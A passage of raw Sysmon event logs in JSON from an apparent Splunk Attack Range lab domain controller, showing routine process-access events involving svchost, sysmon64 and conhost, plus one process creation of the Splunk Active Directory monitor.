11:52:36.296","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3813,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.296\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.296","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3814,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.296\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.296","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3815,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.296\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.296","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3816,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.296\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.296","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3817,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.296\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.296","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3818,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.296\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.296","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3819,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.296\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4084-5F2D-0000-001092890500}\r\nTargetProcessId: 3376\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.296","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4084-5F2D-0000-001092890500}","TargetProcessId":"3376","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3820,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.969\r\nProcessGuid: {90617006-4084-5F2D-0000-00104C8B0500}\r\nProcessId: 2836\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.969","ProcessGuid":"{90617006-4084-5F2D-0000-00104C8B0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3821,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 